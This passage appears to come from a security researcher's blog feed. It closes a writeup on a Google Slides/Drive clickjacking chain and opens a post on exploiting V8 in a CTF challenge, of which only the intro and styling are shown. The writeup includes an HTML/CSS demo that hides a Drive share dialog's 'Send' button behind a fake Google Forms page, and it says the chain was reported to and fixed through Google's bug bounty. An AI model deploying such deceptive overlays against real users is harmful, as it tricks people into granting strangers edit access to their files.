class=&#34;sldsMain&#34; style=&#34;margin:20px 10px&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34; style=&#34;aspect-ratio:unset;height:420px&#34;&gt;&#xD;&#xA;                &lt;div style=&#34;width:94%;height:90%;margin:auto;overflow:hidden;border: 2px inset #EEE;background:#0E0E0E&#34;&gt;&lt;div style=&#34;transform:scale(0.8);width:125%;height:125%;margin:-6.75% 0 0 -12.5%&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;filePg defSelect&#34; style=&#34;width:100%;height:100%&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;filePgO&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;shareDlg&#34;&gt;&#xD;&#xA;                    &lt;div class=&#34;iconButton iconButtonLight&#34; style=&#34;position:absolute;left:16px;top:12px&#34;&gt;&lt;svg width=&#34;24&#34; height=&#34;24&#34; viewBox=&#34;0 0 24 24&#34; style=&#34;margin:auto&#34;&gt;&lt;path d=&#34;M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div class=&#34;shareDlgTitle&#34; style=&#34;margin-left: 42px&#34;&gt;Share &#34;Secret Folder&#34;&lt;/div&gt;&#xD;&#xA;                    &lt;div style=&#34;display:flex;margin-top:20px&#34;&gt;&lt;div class=&#34;shareDlgBbox&#34; style=&#34;padding:10px 18px;flex-grow:1;user-select:none;cursor:default;display:flex;align-items:center;margin-right:10px&#34;&gt;&lt;div class=&#34;shareDlgBubble&#34;&gt;&lt;div style=&#34;background:#7B1FA2;height:17px;width:17px;border-radius:17px;transform:translate(-4px,0);color:#FFF;line-height:17px;font-weight:400;font-size:12px&#34; class=&#34;over480&#34; role=img aria-label=&#34;profile picture&#34;&gt;L&lt;/div&gt;Lyra Rebane&lt;span style=&#34;margin-left:10px&#34; class=&#34;over360&#34;&gt;✖&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;shareDlgBbox&#34; style=&#34;padding:14px 18px;width:fit-content;user-select:none;cursor:default;display:flex;align-items:center&#34;&gt;Editor&lt;div class=&#34;sldsDrop over360&#34; style=&#34;margin-left:12px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div style=&#34;display:flex;align-items:center;margin-top:16px;margin-bottom:14px&#34;&gt;&lt;input id=&#34;notifyChk2&#34; type=&#34;checkbox&#34; style=&#34;width:18px;height:18px;filter: brightness(0.8) contrast(1.5);margin:1px;margin-right:16px&#34; checked&gt;&lt;label for=&#34;notifyChk2&#34;&gt;Notify people&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;                        &lt;textarea class=&#34;shareDlgTbox shareDlgBbox over480&#34; style=&#34;padding:8px 16px;font-size: 14px;height:96px;font-family:inherit;resize: none&#34; placeholder=&#34;Message&#34;&gt;&lt;/textarea&gt;&#xD;&#xA;                        &lt;div style=&#34;display:flex;margin: 28px 0 8px;justify-content: flex-end&#34;&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnWhite&#34;&gt;Cancel&lt;/div&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnBlue&#34; style=&#34;margin-left:8px&#34;&gt;Send&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;                &lt;/div&gt; &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;And it works!&lt;/p&gt;&#xA;&lt;!--&#xD;&#xA;I wanted to throw a fun Sheets-style table here, but ended up scrapping the idea.&#xD;&#xA;Feel free to uncomment to see what it looked like in its WIP state :).&#xD;&#xA;&lt;div class=&#34;sheetsTbl&#34;&gt;&#xD;&#xA;&lt;table&gt;&#xD;&#xA;  &lt;thead&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th scope=&#34;col&#34;&gt;&lt;/th&gt;&#xD;&#xA;      &lt;th scope=&#34;col&#34;&gt;A&lt;/th&gt;&#xD;&#xA;      &lt;th scope=&#34;col&#34;&gt;B&lt;/th&gt;&#xD;&#xA;      &lt;th scope=&#34;col&#34;&gt;C&lt;/th&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;  &lt;/thead&gt;&#xD;&#xA;  &lt;tbody&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th scope=&#34;row&#34;&gt;1&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;Sec-Fetch-Dest/Site&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;document&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;iframe&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th scope=&#34;row&#34;&gt;2&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;same-origin&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;✅&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;✅&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th scope=&#34;row&#34;&gt;3&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;cross-site&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;✅&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;❌&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;  &lt;/tbody&gt;&#xD;&#xA;&lt;/table&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .sheetsTbl {&#xD;&#xA;        width: 100%;&#xD;&#xA;        overflow: hidden;&#xD;&#xA;    }&#xD;&#xA;    .sheetsTbl table {&#xD;&#xA;        background: #FFF;&#xD;&#xA;        color: #000;&#xD;&#xA;        font-family: &#34;Google Sans&#34;, Roboto, RobotoDraft, Helvetica, Arial, sans-serif;&#xD;&#xA;        border-collapse: collapse;&#xD;&#xA;    }&#xD;&#xA;    .sheetsTbl th, .sheetsTbl td, .sheetsTbl tr {&#xD;&#xA;        border: solid 1px #E1E1E1;&#xD;&#xA;    }&#xD;&#xA;    .sheetsTbl th {&#xD;&#xA;        max-width: 100px;&#xD;&#xA;        width: calc(min(20vw, 100px));&#xD;&#xA;    }&#xD;&#xA;    .sheetsTbl th:first-child {&#xD;&#xA;        min-width: 45px;&#xD;&#xA;        width: 45px;&#xD;&#xA;        background: #F00;&#xD;&#xA;    }&#xD;&#xA;    .sheetsTbl .sheetsTblFiller {&#xD;&#xA;        min-width: 100px;&#xD;&#xA;        max-width: 100px;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;--&gt;&#xD;&#xA;&lt;h2 id=&#34;part-7-finishing-touches&#34;&gt;Part 7: Finishing touches&lt;/h2&gt;&#xA;&lt;p&gt;With our share dialog inside a presentation, all we need to do now is cover it up with other stuff to make it look presentable. Since all we need to do here is get someone to click the &amp;ldquo;Send&amp;rdquo; button, I decided to make my demo look like Google Forms.&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; style=&#34;background:#F9FBFD&#34; role=&#34;figure&#34; aria-label=&#34;iframe within a slide, a send button is hidden behind the google form&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsMain&#34; style=&#34;margin:20px 10px&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34; style=&#34;aspect-ratio:unset;height:420px&#34;&gt;&#xD;&#xA;                &lt;div id=&#34;formContainer&#34; style=&#34;position:relative;width:94%;height:90%;margin:auto;overflow:hidden;border: 2px inset #EEE;background:#F0EBF8&#34;&gt;&#xD;&#xA;                    &lt;div style=&#34;position:absolute;background:#FFF;border-radius:4px;width:min(400px,100%);height:256px;flex-direction:column;justify-content:flex-end;display:flex;margin:auto;left:0;right:0;padding:8px&#34;&gt;&#xD;&#xA;                        &lt;div style=&#34;display:flex;margin: 28px 0 8px;justify-content: flex-end&#34;&gt;&#xD;&#xA;                            &lt;div class=&#34;shareDlgBtn shareDlgBtnWhite&#34;&gt;Cancel&lt;/div&gt;&#xD;&#xA;                        &lt;div class=&#34;shareDlgBtn shareDlgBtnBlue&#34; style=&#34;margin-left:8px&#34;&gt;Send&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;/div&gt;&#xD;&#xA;                    &lt;div id=&#34;formOverlay&#34;&gt;&#xD;&#xA;                    &lt;div class=&#34;formColorOverlay&#34; style=&#34;background:#F0EBF8;pointer-events:none;position:absolute;width:min(400px,100%);height:256px;flex-direction:column;justify-content:flex-end;left:0;right:0;display:flex;margin:auto;padding:8px;transform:translateX(-100px);&#34;&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div class=&#34;formColorOverlay&#34; style=&#34;background:#F0EBF8;pointer-events:none;position:absolute;width:min(400px,100%);height:256px;flex-direction:column;justify-content:flex-end;left:0;right:0;display:flex;margin:auto;padding:8px;transform:translateY(-64px);&#34;&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div class=&#34;formColorOverlay&#34; style=&#34;background:#F0EBF8;pointer-events:none;position:absolute;width:min(400px,100%);height:256px;flex-direction:column;justify-content:flex-end;left:0;right:0;display:flex;margin:auto;padding:8px;transform:translateY(264px);&#34;&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div class=&#34;formColorOverlay&#34; style=&#34;background:#F0EBF8;pointer-events:none;position:absolute;width:min(400px,100%);height:256px;flex-direction:column;justify-content:flex-end;left:0;right:0;display:flex;margin:auto;padding:8px;transform:translateX(408px);&#34;&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div style=&#34;pointer-events:none;position:absolute;border-radius:4px;width:min(400px,100%);height:256px;flex-direction:column;justify-content:flex-end;left:0;right:0;display:flex;margin:auto;padding:8px&#34;&gt;&#xD;&#xA;                        &lt;div style=&#34;width:calc(100% - 36px);background:#FFF;border:1px solid #DADCE0;border-radius:8px;margin: 0 auto 12px;overflow:hidden;pointer-events:all;padding:18px&#34;&gt;&#xD;&#xA;                            &lt;div style=&#34;color:#202124;font-size:16px;padding-bottom:8px&#34;&gt;Who are the coolest horses?&lt;/div&gt;&#xD;&#xA;                            &lt;label class=&#34;formRadio&#34; style=&#34;display:flex;align-items:center&#34;&gt;&lt;input name=&#34;ponyVote&#34; type=&#34;radio&#34;&gt;&lt;div&gt;&lt;/div&gt;Ponies&lt;/label&gt;&#xD;&#xA;                            &lt;label class=&#34;formRadio&#34; style=&#34;display:flex;align-items:center&#34;&gt;&lt;input name=&#34;ponyVote&#34; type=&#34;radio&#34;&gt;&lt;div&gt;&lt;/div&gt;Unicorns&lt;/label&gt;&#xD;&#xA;                            &lt;label class=&#34;formRadio&#34; style=&#34;display:flex;align-items:center&#34;&gt;&lt;input name=&#34;ponyVote&#34; type=&#34;radio&#34;&gt;&lt;div&gt;&lt;/div&gt;Pegasi&lt;/label&gt;&#xD;&#xA;                        &lt;/div&gt;&#xD;&#xA;                        &lt;div style=&#34;width:100%;background:#0000;border:1px solid #DADCE0;border-radius:8px;margin: 0 auto;display:flex;overflow:hidden&#34;&gt;&#xD;&#xA;                            &lt;div style=&#34;pointer-events:all;background:#FFF;color:#202124;font-size:16px;padding:18px;flex-grow:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap&#34;&gt;Never submit passwords&lt;/div&gt;&#xD;&#xA;                            &lt;div style=&#34;width:88px;background:#0000;    flex-shrink: 0&#34;&gt;&lt;/div&gt;&#xD;&#xA;                        &lt;/div&gt;&#xD;&#xA;                    &lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;                &lt;div style=&#34;pointer-events:none;position:absolute;top:calc(256px + 16px);text-align:center;width:100%;font-size:12px&#34;&gt;This content is neither created nor endorsed by Google.&lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;                &lt;div style=&#34;display:none;pointer-events:none;position:absolute;top:calc(256px + 16px);text-align:center;width:100%;font-size:12px&#34;&gt;Hover over the form to see behind it.&lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    #formOverlay:hover {&#xD;&#xA;        filter:drop-shadow(1px 1px 6px #0009);&#xD;&#xA;        opacity:0.75;&#xD;&#xA;    }&#xD;&#xA;    #formOverlay, #formOverlay .formColorOverlay {&#xD;&#xA;        transition: filter 0.5s, opacity 0.5s;&#xD;&#xA;    }&#xD;&#xA;    #formOverlay:hover .formColorOverlay {&#xD;&#xA;        filter:drop-shadow(1px 1px 6px #000F);&#xD;&#xA;        opacity:0.9;&#xD;&#xA;    }&#xD;&#xA;    #formOverlay {&#xD;&#xA;        /**/&#xD;&#xA;    }&#xD;&#xA;    .formRadio div {&#xD;&#xA;        width:16px;&#xD;&#xA;        height:16px;&#xD;&#xA;        border-radius:16px;&#xD;&#xA;        border:2px solid #61656A;&#xD;&#xA;        margin: 8px;&#xD;&#xA;        transition: border 0.2s;&#xD;&#xA;    }&#xD;&#xA;    .formRadio input:checked ~ div {&#xD;&#xA;        border:2px solid #673AB7;&#xD;&#xA;    }&#xD;&#xA;    .formRadio div:after {&#xD;&#xA;        content: &#34;&#34;;&#xD;&#xA;        width: 10px;&#xD;&#xA;        height: 10px;&#xD;&#xA;        margin: 3px;&#xD;&#xA;        border-radius: 10px;&#xD;&#xA;        background: #0000;&#xD;&#xA;        display: block;&#xD;&#xA;        transition: background 0.2s;&#xD;&#xA;    }&#xD;&#xA;    .formRadio input:checked ~ div:after {&#xD;&#xA;        background: #673AB7;&#xD;&#xA;    }&#xD;&#xA;    .formRadio input {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;And we&amp;rsquo;re done! It looks like a Google Forms page, but it has a &amp;ldquo;cutout&amp;rdquo; for the &amp;ldquo;Send&amp;rdquo; button in the Share dialog below. If clicked, it&amp;rsquo;ll immediately share &lt;em&gt;Editor&lt;/em&gt; permissions for the targeted file/folder with whatever e-mail we specified. To send this attack to someone we can replace the &lt;strong&gt;/edit&lt;/strong&gt; with &lt;strong&gt;/present&lt;/strong&gt; in the Slides url to have it open and &amp;ldquo;play&amp;rdquo; the slide direcly.&lt;/p&gt;&#xA;&lt;p&gt;And there we go, a one-click clickjacking attack that chains a Google Slides YouTube embed path traversal to three separate redirects to gain editor access on a Drive file/folder!&lt;/p&gt;&#xA;&lt;p&gt;I reported this vulnerability chain to Google on the 1st of July 2024, and got it triaged &amp;amp; confirmed on the same day! 10 days later, on the 11th of July, the VRP panel awarded me with a reward of &lt;span style=&#34;font-weight:900;color:green&#34;&gt;$3133.70&lt;/span&gt; + &lt;span style=&#34;font-weight:900;color:green&#34;&gt;$1000&lt;/span&gt; bonus, totalling &lt;span style=&#34;font-weight:900;color:green&#34;&gt;$4133.70&lt;/span&gt;. Sweet!&lt;/p&gt;&#xA;&lt;h2 id=&#34;afterword&#34;&gt;afterword&lt;/h2&gt;&#xA;&lt;p&gt;thank you for reading, you&amp;rsquo;re awesome!!&lt;/p&gt;&#xA;&lt;p&gt;i tried to keep this writeup condensed because i&amp;rsquo;m also presenting my research with additional story elements at &lt;a href=&#34;https://tallinn.bsides.ee/2024/&#34;&gt;bsides tallinn 2024&lt;/a&gt; the same day this blogpost goes out. i hope it goes well! &lt;del&gt;i&amp;rsquo;m not sure when the bsides talk recordings will be released (keep an eye on &lt;a href=&#34;https://www.youtube.com/@bsidestallinn427/videos&#34;&gt;this channel&lt;/a&gt;), but for now you can check out &lt;a href=&#34;https://docs.google.com/presentation/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&#34;&gt;the slides&lt;/a&gt;!&lt;/del&gt;&lt;/p&gt;&#xA;&lt;p&gt;check out the &lt;del&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=2ZENE8ua_gU&#34;&gt;talk recording&lt;/a&gt;&lt;/del&gt;, and &lt;a href=&#34;https://docs.google.com/presentation/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&#34;&gt;the slides&lt;/a&gt;!!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;edit: i gave the talk again at &lt;a href=&#34;https://disobey.fi/&#34;&gt;disobey&lt;/a&gt;, i think you should check out that &lt;a href=&#34;https://www.youtube.com/watch?v=0z1My1gC5Yc&#34;&gt;talk recording&lt;/a&gt; instead&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;as with my previous posts, everything on the page is just html/css crafted with love. no images, javascript, or other external resources, and just 31kB gzipped (that&amp;rsquo;s 5 seconds over dial-up)! it takes a lot of time and effort compared to just throwing screenshots on the page, but i think it&amp;rsquo;s really fun to have a blogpost come to life like that, with interactivity and all. and it&amp;rsquo;s responsive!&lt;/p&gt;&#xA;&lt;p&gt;i hope this writeup is conherent and interesting to read, the attack chain involves quite a few elements so the article is all over the place at times, you can always feel free to ask me any questions if anything&amp;rsquo;s unclear ^^&lt;/p&gt;&#xA;&lt;p&gt;love you all &amp;lt;3!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Discuss this post on:&lt;/strong&gt; &lt;a href=&#34;https://twitter.com/rebane2001/status/1836653696639271329&#34;&gt;twitter&lt;/a&gt;, &lt;a href=&#34;https://infosec.exchange/@rebane2001/113162802490491321&#34;&gt;mastodon&lt;/a&gt;, &lt;a href=&#34;https://lobste.rs/s/fjixgp/using_youtube_steal_your_files&#34;&gt;lobsters&lt;/a&gt; (rip cohost :c)&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;This specific example will probably display a warning - but let&amp;rsquo;s just pretend it doesn&amp;rsquo;t.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://web.archive.org/&#34;&gt;Internet Archive&lt;/a&gt; allows listing all archived URLs for a domain, quite handy for recon.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;Dorks are the various search operations and tricks you can use on Google, such as &lt;code&gt;site:docs.google.com&lt;/code&gt; or &lt;code&gt;inurl:document&lt;/code&gt;.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;Every Google Drive file and folder has an ID associated with it, and your entire drive&amp;rsquo;s Root folder is no exception! Want to find yours? Open Drive&amp;rsquo;s page with DevTools open, and then search for &lt;code&gt;9PVA&lt;/code&gt; in the network requests.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://bughunters.google.com/about/rules/google-friends/6625378258649088/google-and-alphabet-vulnerability-reward-program-vrp-rules&#34;&gt;VRP&lt;/a&gt; is Google&amp;rsquo;s bug bounty program, and its panel is a group of people who decide how much $$$ you&amp;rsquo;ll get for a bug.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;advaith &lt;a href=&#34;https://twitter.com/advaithj1/status/1836940041756750021&#34;&gt;let me know&lt;/a&gt; that /a/domain urls automatically switch your account to the one under the domain, so they&amp;rsquo;re still handy if you use multiple accounts.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:7&#34;&gt;&#xA;&lt;p&gt;I&amp;rsquo;m using this domain as an example because it&amp;rsquo;s short and came up a lot in my Google searches, but there isn&amp;rsquo;t anything special about it, you can use other gsuite domains too. In case anyone from the &lt;a href=&#34;https://ets.wyo.gov/cybersecurity&#34;&gt;Wyoming goverment&lt;/a&gt; happens across this post - no, this isn&amp;rsquo;t touching your IT systems in any way, it&amp;rsquo;s only affecting Google&amp;rsquo;s systems and they&amp;rsquo;re already aware of and working on the topics discussed in this blog post.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</description>
    </item>
    <item>
      <title>Exploiting V8 at openECSC</title>
      <link>https://lyra.horse/blog/2024/05/exploiting-v8-at-openecsc/</link>
      <pubDate>Sun, 26 May 2024 00:00:00 +0000</pubDate>
      <guid>https://lyra.horse/blog/2024/05/exploiting-v8-at-openecsc/</guid>
      <description>&lt;p&gt;Despite having 7 Chrome CVEs, I&amp;rsquo;ve never actually fully exploited a memory corruption in its &lt;a href=&#34;https://v8.dev/&#34;&gt;V8 JavaScript engine&lt;/a&gt; before. &lt;a href=&#34;https://github.com/ECSC2024/openECSC-2024/tree/main/round-3/pwn03&#34;&gt;Baby array.xor&lt;/a&gt;, a challenge at this year&amp;rsquo;s openECSC CTF, was my first time going from a V8 bug to popping a &lt;code&gt;/bin/sh&lt;/code&gt; shell.&lt;/p&gt;&#xA;&lt;p&gt;Most V8 exploits tend to have two stages to them - figuring out a unique way to trigger some sort of a memory corruption of at least one byte, and then following a common pattern of building upon that corruption to read arbitrary addresses (&lt;code&gt;addrof&lt;/code&gt;), create fake objects (&lt;code&gt;fakeobj&lt;/code&gt;), and eventually reach arbitrary code execution. This challenge was no different.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;.challDetails {&#xD;&#xA;&#x9;line-height: 12px;&#xD;&#xA;&#x9;font-size: 16px;&#xD;&#xA;&#x9;background: #212529;&#xD;&#xA;&#x9;border: 1px solid rgba(255, 255, 255, 0.15);&#xD;&#xA;&#x9;color: #dee2e6;&#xD;&#xA;&#x9;font-family: -apple-system, BlinkMacSystemFont, &#39;Segoe UI&#39;, &#39;Roboto&#39;, &#39;Oxygen&#39;, &#39;Ubuntu&#39;, &#39;Cantarell&#39;, &#39;Fira Sans&#39;, &#39;Droid Sans&#39;, &#39;Helvetica Neue&#39;, sans-serif;&#xD;&#xA;&#x9;border-radius: 8px;&#xD;&#xA;&#x9;max-width: 500px;&#xD;&#xA;&#x9;margin: 16px auto;&#xD;&#xA;}&#xD;&#xA;.challDetails *::selection {&#xD;&#xA;&#x9;background: #073BA6;&#xD;&#xA;}&#xD;&#xA;.challFiles *::selection {&#xD;&#xA;&#x9;background: #0F0;&#xD;&#xA;&#x9;color: #000;&#xD;&#xA;}&#xD;&#xA;.challTitle {&#xD;&#xA;&#x9;font-size: 24px;&#xD;&#xA;&#x9;font-weight: 500;&#xD;&#xA;&#x9;padding: 16px;&#xD;&#xA;}&#xD;&#xA;.challSubtitle {&#xD;&#xA;&#x9;font-size: 20px;&#xD;&#xA;&#x9;font-weight: 500;&#xD;&#xA;&#x9;text-align: center;&#xD;&#xA;&#x9;padding: 12px 0;&#xD;&#xA;}&#xD;&#xA;.challHr {&#xD;&#xA;&#x9;border-bottom: 1px solid #495057;&#xD;&#xA;}&#xD;&#xA;.challTags {&#xD;&#xA;&#x9;text-align: center;&#xD;&#xA;&#x9;padding: 16px 16px 0 16px;&#xD;&#xA;&#x9;user-select: none;&#xD;&#xA;}&#xD;&#xA;.challSection {&#xD;&#xA;&#x9;padding: 0 16px 16px 16px;&#xD;&#xA;}&#xD;&#xA;.challSection code {&#xD;&#xA;&#x9;overflow-wrap: break-word;&#xD;&#xA;}&#xD;&#xA;.challTag {&#xD;&#xA;&#x9;border-radius: 6px;&#xD;&#xA;&#x9;font-weight: bold;&#xD;&#xA;&#x9;height: 32px;&#xD;&#xA;&#x9;padding: 2px 6px;&#xD;&#xA;&#x9;font-size: 13px;&#xD;&#xA;}&#xD;&#xA;.challFiles &gt; ul {&#xD;&#xA;&#x9;border-radius: 6px;&#xD;&#xA;&#x9;background: #111;&#xD;&#xA;&#x9;border: 1px solid #fff;&#xD;&#xA;&#x9;line-height: 20px;&#xD;&#xA;&#x9;padding: 14px;&#xD;&#xA;&#x9;margin-bottom: 0;&#xD;&#xA;&#x9;list-style-type: none;&#xD;&#xA;&#x9;font-size: 12px;&#xD;&#xA;&#x9;font-family: &#39;Nimbus Mono PS&#39;, &#39;Courier New&#39;, monospace;&#xD;&#xA;}&#xD;&#xA;.challFiles a {&#xD;&#xA;&#x9;color: #0F0;&#xD;&#xA;}&#xD;&#xA;.challFiles a:hover {&#xD;&#xA;&#x9;text-decoration: underline;&#xD;&#xA;}&#xD;&#xA;.challFiles &gt; summary {&#xD;&#xA;&#x9;color: #fff;&#xD;&#xA;&#x9;background: #007bff;&#xD;&#xA;&#x9;width: fit-content;&#xD;&#xA;&#x9;padding: 12px;&#xD;&#xA;&#x9;border-radius: 6px;&#xD;&#xA;&#x9;user-select: none;&#xD;&#xA;&#x9;cursor: pointer;&#xD;&#xA;}&#xD;&#xA;.challScores {&#xD;&#xA;&#x9;width: 100%;&#xD;&#xA;&#x9;border-collapse: collapse;&#xD;&#xA;&#x9;background: #1c232b;&#xD;&#xA;}&#xD;&#xA;.challScores tr &gt; * {&#xD;&#xA;&#x9;border: solid 1px rgb(73, 80, 87);&#xD;&#xA;&#x9;padding: 4px 8px;&#xD;&#xA;&#x9;line-height: 20px;&#xD;&#xA;&#x9;text-align: left;&#xD;&#xA;}&#xD;&#xA;.challScores tr &gt; :first-child {&#xD;&#xA;&#x9;&#x9;text-align:center;&#xD;&#xA;&#x9;&#x9;width: 0;&#xD;&#xA;}&#xD;&#xA;.challScores tbody tr:nth-of-type(odd) {&#xD;&#xA;&#x9;&#x9;background: #29313b;&#xD;&#xA;}&#xD;&#xA;.challScores tbody tr:hover {&#xD;&#xA;&#x9;&#x9;background: #2b3a4d;&#xD;&#xA;}&#xD;&#xA;.cppCode {&#xD;&#xA;&#x9;background: #050c1f;&#xD;&#xA;&#x9;font-family: Menlo, Consolas, &#34;Ubuntu Mono&#34;, monospace;&#xD;&#xA;&#x9;font-size: 12px;&#xD;&#xA;&#x9;border: 1px solid #002;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;padding: 8px;&#xD;&#xA;&#x9;width: calc(100% - 18px);&#xD;&#xA;&#x9;white-space: pre-wrap;&#xD;&#xA;&#x9;overflow-wrap: anywhere;&#xD;&#xA;}&#xD;&#xA;.cppCode::selection, .cppCode *::selection {&#xD;&#xA;&#x9;background: #00258a;&#xD;&#xA;}&#xD;&#xA;/* some vscode color palette i copied */&#xD;&#xA;.mtk1 { color: #d4d4d4; }&#xD;&#xA;.mtk2 { color: #1e1e1e; }&#xD;&#xA;.mtk3 { color: #000080; }&#xD;&#xA;.mtk4 { color: #6a9955; }&#xD;&#xA;.mtk5 { color: #569cd6; }&#xD;&#xA;.mtk6 { color: #b5cea8; }&#xD;&#xA;.mtk7 { color: #646695; }&#xD;&#xA;.mtk8 { color: #d7ba7d; }&#xD;&#xA;.mtk9 { color: #9cdcfe; }&#xD;&#xA;.mtk10 { color: #f44747; }&#xD;&#xA;.mtk11 { color: #ce9178; }&#xD;&#xA;.mtk12 { color: #6796e6; }&#xD;&#xA;.mtk13 { color: #808080; }&#xD;&#xA;.mtk14 { color: #d16969; }&#xD;&#xA;.mtk15 { color: #dcdcaa; }&#xD;&#xA;.mtk16 { color: #4ec9b0; }&#xD;&#xA;.mtk17 { color: #c586c0; }&#xD;&#xA;.mtk18 { color: #4fc1ff; }&#xD;&#xA;.mtk19 { color: #c8c8c8; }&#xD;&#xA;.mtk20 { color: #cd9731; }&#xD;&#xA;.mtk21 { color: #b267e6; }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;challDetails&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;challTitle challHr&#34;&gt;Baby Array.xor&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;challTags&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;span class=&#34;challTag&#34; style=&#34;background:#007bff&#34;&gt;6 solves&lt;/span&gt;&#xD;&#xA;&#x9;&#x9;&lt;span 